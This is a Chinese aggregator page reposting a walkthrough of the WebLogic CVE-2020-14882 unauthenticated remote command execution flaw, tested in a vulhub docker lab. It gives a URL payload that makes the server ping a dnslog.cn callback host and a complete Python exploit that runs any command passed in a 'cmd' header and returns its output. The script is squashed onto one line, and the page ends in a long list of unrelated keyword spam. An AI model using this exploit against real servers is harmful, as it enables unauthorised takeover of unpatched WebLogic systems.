weblogic未授权命令执行漏洞CVE-2020-14882是怎样的
发表于:2025-02-01 作者:千家信息网编辑
千家信息网最后更新 2025年02月01日,这篇文章给大家介绍weblogic未授权命令执行漏洞CVE-2020-14882是怎样的,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。未经身份验证的远程攻击者可能通过构造特殊的
千家信息网最后更新 2025年02月01日weblogic未授权命令执行漏洞CVE-2020-14882是怎样的
这篇文章给大家介绍weblogic未授权命令执行漏洞CVE-2020-14882是怎样的,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。
未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。
用docker搭建的环境 ../vulhub/weblogic/CVE-2020-14882
访问登录界面http://192.168.81.129:7001/console/login/LoginForm.jsp
3.pyload是 /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27ping 0cs5r3.dnslog.cn%27);%22);
我也是根据网上各大佬发布的文章弄得,可是在dnslog中并没有记录,最后我进到docker容器中进行ping命令,发现在docker中不能ping。
既然不能ping那就用python进行复现(还好自己了解点python,要不然就撞墙了)
#!/usr/bin/python3import requestsimport sysimport http.clienthttp.client.HTTPConnection._http_vsn = 10http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'if len(sys.argv) != 3:print("[+] Usage : python3 exploit.py http(s)://target:7001 command")exit()target = sys.argv[1]command = sys.argv[2]request = requests.session()headers_cmd = {'User-Agent': 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0','cmd': command,'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Content-Type': 'application/x-www-form-urlencoded'}cmd="""/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("%5C%5CA").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')"""url_cmd = target+cmdresponse = request.get(url_cmd, headers=headers_cmd, verify=False)print(response.text)print("[+] Attack complete!")
最后我想如果不用docker搭建环境,直接用系统是不是就可以ping了...
关于weblogic未授权命令执行漏洞CVE-2020-14882是怎样的就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。
命令
漏洞
内容
文章
更多
环境
帮助
不错
特殊
不用
代码
兴趣
容器
小伙
小伙伴
攻击者
是在
未经
界面
知识
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
商业系统数据库
辽宁时代网络技术服务工程
配置h2数据库路径
明日之后第四季的服务器
向数据库插入一条数据需要多久
什么软件开发智力
数据库建模专业课程
个人对网络技术发展影响
宝山区本地网络技术售后保障
泗阳自动化网络技术诚信合作
win10服务器管理器软件
网络安全小心行下载
谓词 数据库
北京服务器负载均衡厂家云空间
中国地方方志数据库
uml数据库建模教程
计算机网络技术知识和技能
先驱网络技术有限公司怎么样
中国移动软件开发面试经历
pc和移动端的邮件服务器
三维视频软件开发
天源迪科收件服务器
无锡方便软件开发代理品牌
查询软件开发成熟度等级
存储服务器要求
天河软件开发哪家好
软件开发升级
手机贷服务器升级
macbook适合软件开发
中国ipv6发展与网络安全